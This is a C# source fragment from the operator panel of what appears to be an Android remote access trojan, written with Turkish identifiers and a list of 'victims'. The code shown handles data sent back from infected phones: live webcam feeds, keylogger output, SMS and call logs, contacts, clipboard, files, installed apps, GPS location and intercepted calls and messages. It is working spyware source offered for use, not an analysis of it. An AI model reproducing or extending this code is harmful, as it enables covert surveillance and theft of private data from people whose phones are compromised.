private void eğlencePaneliToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count == 1) { foreach (Victims kurban in kurban_listesi) { if (kurban.id == listView1.SelectedItems[0].Text) { Entertainment eglence = new Entertainment(kurban.socket, kurban.id); eglence.Show(); } } } }
public void DataInvoke(Socket soket2, string data) { string[] ayir = data.Split(new[] { "[0x09]" }, StringSplitOptions.None); foreach (string str in ayir) { string[] s = str.Split(new[] { "[VERI]" }, StringSplitOptions.None); try { switch (s[0]) { case "IP": Invoke((MethodInvoker) delegate { Ekle(soket2, soket2.Handle.ToString(), s[1], s[2], s[3], s[4]); }); break; case "CAMREADY": if (FİndKameraById(soket2.Handle.ToString()) != null) { var _shortcam_ = FİndKameraById(soket2.Handle.ToString()); _shortcam_.button4.Text = "Start"; _shortcam_.button4.Enabled = true; ((Control)_shortcam_.tabControl1.TabPages[0]).Enabled = true; _shortcam_.enabled = false; _shortcam_.label10.Text = "Fps: 0"; } break; case "VID": try { var shortcam = FİndKameraById(soket2.Handle.ToString()); if (shortcam != null) { shortcam.pictureBox2.Image = RotateImage((Image) new ImageConverter().ConvertFrom(Convert.FromBase64String(s[1]))); shortcam.label10.Text = "Fps: " + shortcam.CalculateFrameRate().ToString(); } } catch (Exception ex) { FİndKameraById(soket2.Handle.ToString()).Text = ex.Message; } break; case "SHORTCUT": Entertainment eglnc = FindEglenceById(soket2.Handle.ToString()); if (eglnc == null) { Invoke((MethodInvoker) delegate { eglnc = new Entertainment(soket2, soket2.Handle.ToString()); eglnc.Show(); }); } MessageBox.Show(eglnc, s[1], "Sonuç", MessageBoxButtons.OK, MessageBoxIcon.Information); break; case "OLCULER": Invoke((MethodInvoker) delegate { if (s[1].Contains("Kameraya")) { MessageBox.Show(this, s[1] + "\nThis error causes when camera is used by victim.", "Can't access to Camera", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); } else { if (FİndKameraById(soket2.Handle.ToString()) == null) { Camera msj = new Camera(soket2, soket2.Handle.ToString()); msj.Show(); } FİndKameraById(soket2.Handle.ToString()).comboBox1.Items.Clear(); FİndKameraById(soket2.Handle.ToString()).comboBox2.Items.Clear(); string[] front = s[1].Split('>'); string[] _split = front[1].Split('<'); FİndKameraById(soket2.Handle.ToString()).max = int.Parse(s[2].Split('}')[1]); FİndKameraById(soket2.Handle.ToString()).comboBox1.Items.AddRange(_split); _split = front[0].Split('<'); FİndKameraById(soket2.Handle.ToString()).comboBox2.Items.AddRange(_split); var found = FİndKameraById(soket2.Handle.ToString()); found.zoomSupport = Convert.ToBoolean(s[2].Split('}')[0]); string[] presize = s[3].Split('<'); found.comboBox4.Items.AddRange(presize); string[] cams = s[4].Split('!'); for (int p = 0; p < cams.Length; p++) { cams[p] = cams[p].Replace("0", "Back: 0").Replace("1", "Front: 1"); } found.comboBox6.Items.AddRange(cams); found.comboBox6.SelectedIndex = 0; foreach (string str_ in found.comboBox1.Items) { if (int.Parse(str_.Split('x')[0]) < 800 && int.Parse(str_.Split('x')[0]) > 500) { found.comboBox1.SelectedItem = str_; break; } } foreach (string str_ in found.comboBox2.Items) { if (int.Parse(str_.Split('x')[0]) < 800 && int.Parse(str_.Split('x')[0]) > 500) { found.comboBox2.SelectedItem = str_; break; } } foreach (object str_ in found.comboBox4.Items) { if (str_.ToString().Contains("352")) { found.comboBox4.SelectedItem = str_; } } found.comboBox3.SelectedItem = "%70"; } }); break; case "CAMNOT": var fnd = FİndKameraById(soket2.Handle.ToString()); if (fnd != null) { FİndKameraById(soket2.Handle.ToString()).label2.Text = "Çekilemedi."; FİndKameraById(soket2.Handle.ToString()).label1.Visible = true; FİndKameraById(soket2.Handle.ToString()).button1.Enabled = true; ((Control)fnd.tabPage1).Enabled = true; ((Control)fnd.tabPage2).Enabled = true; fnd.enabled = false; fnd.button4.Text = "Start"; fnd.button4.Enabled = true; } break; case "SMSLOGU": if (FindSMSFormById(soket2.Handle.ToString()) == null) { Invoke((MethodInvoker) delegate { SMSYoneticisi sMS = new SMSYoneticisi(soket2, soket2.Handle.ToString()); sMS.Show(); }); } FindSMSFormById(soket2.Handle.ToString()).bilgileriIsle(s[1]); break; case "CAGRIKAYITLARI": if (FindCagriById(soket2.Handle.ToString()) == null) { Invoke((MethodInvoker) delegate { CallLogs sMS = new CallLogs(soket2, soket2.Handle.ToString()); sMS.Show(); }); } FindCagriById(soket2.Handle.ToString()).bilgileriIsle(s[1]); break; case "REHBER": if (FindRehberById(soket2.Handle.ToString()) == null) { Invoke((MethodInvoker) delegate { AddressBook sMS = new AddressBook(soket2, soket2.Handle.ToString()); sMS.Show(); }); } FindRehberById(soket2.Handle.ToString()).FetchContacts(s[1]); break; case "APPS": if (FindUygulamalarById(soket2.Handle.ToString()) == null) { Invoke((MethodInvoker) delegate { InstalledApps eglence = new InstalledApps(soket2, soket2.Handle.ToString()); eglence.Show(); }); } FindUygulamalarById(soket2.Handle.ToString()).bilgileriIsle(s[1]); break; case "DOSYAALINDI": FindFileManagerById(soket2.Handle.ToString()).timer1.Enabled = false; FindFileManagerById(soket2.Handle.ToString()).count = 0; FindFileManagerById(soket2.Handle.ToString()).Text = "Dosya Yöneticisi"; MessageBox.Show(FindFileManagerById(soket2.Handle.ToString()), "İsimli kurbanınızda dosya başarılı bir şekilde kaydedildi.", s[1], MessageBoxButtons.OK, MessageBoxIcon.Information); break; case "WEBCAM": if (FİndKameraById(soket2.Handle.ToString()) == null) { Invoke((MethodInvoker) delegate { Camera msj = new Camera(soket2, soket2.Handle.ToString()); msj.Show(); }); } try { FİndKameraById(soket2.Handle.ToString()).label2.Text = "Çekildi."; byte[] resim = Convert.FromBase64String(s[1]); using (MemoryStream ms = new MemoryStream(resim)) { FİndKameraById(soket2.Handle.ToString()).pictureBox1.Image = Image.FromStream(ms); } FİndKameraById(soket2.Handle.ToString()).button1.Enabled = true; ((Control)FİndKameraById(soket2.Handle.ToString()).tabPage2).Enabled = true; } catch (Exception ex) { MessageBox.Show(FİndKameraById(soket2.Handle.ToString()), ex.Message); FİndKameraById(soket2.Handle.ToString()).Text = "Kamera " + ex.Message; } break; case "FILES": if (FindFileManagerById(soket2.Handle.ToString()) == null) { Invoke((MethodInvoker) delegate { fmanger = new FİleManager(soket2, soket2.Handle.ToString()); fmanger.Show(); }); } FindFileManagerById(soket2.Handle.ToString()).bilgileriIsle(s[1], s[2]); break; case "PREVIEW": if (FindFileManagerById(soket2.Handle.ToString()) == null) { Invoke((MethodInvoker) delegate { fmanger = new FİleManager(soket2, soket2.Handle.ToString()); fmanger.Show(); }); } Invoke((MethodInvoker) delegate { FindFileManagerById(soket2.Handle.ToString()).pictureBox1.Image = (Image) new ImageConverter().ConvertFrom(Convert.FromBase64String(s[1])); FindFileManagerById(soket2.Handle.ToString()).pictureBox1.Visible = true; }); break; case "UZUNLUK": string dosyaAdi = s[2]; if (!Directory.Exists(Environment.CurrentDirectory + "\\Klasörler\\İndirilenler\\" + s[3])) { Directory.CreateDirectory(Environment.CurrentDirectory + "\\Klasörler\\İndirilenler\\" + s[3]); } try { File.WriteAllBytes(Environment.CurrentDirectory + "\\Klasörler\\İndirilenler\\" + s[3] + "\\" + s[2], Convert.FromBase64String(s[1])); } catch (Exception ex) { MessageBox.Show(ex.Message); } FindFileManagerById(soket2.Handle.ToString()).timer1.Enabled = false; FindFileManagerById(soket2.Handle.ToString()).count = 0; FindFileManagerById(soket2.Handle.ToString()).Text = "Dosya Yöneticisi"; MessageBox.Show(FindFileManagerById(soket2.Handle.ToString()), "Dosya indi", "İndirme Tamamlandı", MessageBoxButtons.OK, MessageBoxIcon.Information); break; case "CHAR": try { FindKeyloggerManagerById(soket2.Handle.ToString()).textBox1.Text += s[1].Replace("[NEW_LINE]", Environment.NewLine) + Environment.NewLine; } catch (Exception) { } break; case "LOGDOSYA": try { if (FindKeyloggerManagerById(soket2.Handle.ToString()) == null) { Invoke((MethodInvoker) delegate { Keylogger keylog = new Keylogger(soket2, soket2.Handle.ToString()); keylog.Show(); }); } if (s[1] == "LOG_YOK") { FindKeyloggerManagerById(soket2.Handle.ToString()).comboBox1.Items.Add("Log yok."); } else { string ok = s[1]; string[] ayristir = ok.Split('='); for (int i = 0; i < ayristir.Length; i++) { FindKeyloggerManagerById(soket2.Handle.ToString()).comboBox1.Items.Add(ayristir[i]); } } } catch (Exception) { } break; case "KEYGONDER": string ok_ = s[1]; FindKeyloggerManagerById(soket2.Handle.ToString()).textBox2.Text = ok_.Replace("[NEW_LINE]", Environment.NewLine); break; case "SESBILGILERI": if (FindAyarlarById(soket2.Handle.ToString()) == null) { Invoke((MethodInvoker) delegate { Settings sMS = new Settings(soket2, soket2.Handle.ToString()); sMS.Show(); }); } FindAyarlarById(soket2.Handle.ToString()).bilgileriIsle(s[1]); break; case "TELEFONBILGI": if (FindBilgiById(soket2.Handle.ToString()) == null) { Invoke((MethodInvoker) delegate { Infos eglence = new Infos(soket2, soket2.Handle.ToString()); eglence.Show(); }); } var shorted = FindBilgiById(soket2.Handle.ToString()); shorted.bilgileriIsle(s[1], s[2], s[3], s[6], s[5], s[7], s[8]); break; case "PANOGELDI": try { if (FindTelephonFormById(soket2.Handle.ToString()) == null) { Invoke((MethodInvoker) delegate { Telefon tlf = new Telefon(soket2, soket2.Handle.ToString()); tlf.Show(); }); } string icerik = s[1]; if (icerik != "[NULL]") { FindTelephonFormById(soket2.Handle.ToString()).textBox4.Text = icerik; } else { FindTelephonFormById(soket2.Handle.ToString()).textBox4.Text = string.Empty; } } catch (Exception) { } break; case "WALLPAPERBYTES": try { if (FindTelephonFormById(soket2.Handle.ToString()) == null) { Invoke((MethodInvoker) delegate { Telefon tlf = new Telefon(soket2, soket2.Handle.ToString()); tlf.Show(); }); } FindTelephonFormById(soket2.Handle.ToString()).label4.Text = "Ekran Çözünürlüğü\n" + s[2]; FindTelephonFormById(soket2.Handle.ToString()).pictureBox1.Image = (Image) new ImageConverter().ConvertFrom(Convert.FromBase64String(s[1])); } catch (Exception) { } break; case "LOCATION": if (FindKonumById(soket2.Handle.ToString()) == null) { Invoke((MethodInvoker) delegate { Location knm = new Location(soket2, soket2.Handle.ToString()); knm.Show(); }); } FindKonumById(soket2.Handle.ToString()).richTextBox1.Text = string.Empty; string[] ayr = s[1].Split('='); for (int i = 0; i < ayr.Length; i++) { if (ayr[i].Contains("{")) { string[] url = ayr[i].Split('{'); ayr[i] = $"http://maps.google.com/maps?q={url[0].Replace(','.ToString(), '.'.ToString())},{url[1].Replace(','.ToString(), '.'.ToString())}"; } FindKonumById(soket2.Handle.ToString()).richTextBox1.Text += ayr[i] + Environment.NewLine; } break; case "ARAMA": try { ListViewItem lvi = listView1.Items.Cast <ListViewItem>().Where(items => items.Text == soket2.Handle.ToString()).First(); Invoke((MethodInvoker) delegate { new YeniArama(s[1].Split('=')[1], s[1].Split('=')[0], lvi.SubItems[1].Text + "@" + soket2.RemoteEndPoint.ToString(), soket2.Handle.ToString()).Show(); }); } catch (Exception) { } break; case "INDIRILDI": try { var window = FindDownloadManagerById(soket2.Handle.ToString()); MessageBox.Show(window, s[1], "Dosyanızın İndirtme Sonucu", MessageBoxButtons.OK, MessageBoxIcon.Information); } catch (Exception) { } break; case "RECSMS": Invoke((MethodInvoker) delegate { smsgeldi smsgeldi = new smsgeldi(s[1] + "/" + s[2], s[3], s[4]); smsgeldi.Show(); }); break; } } catch (Exception) { } } }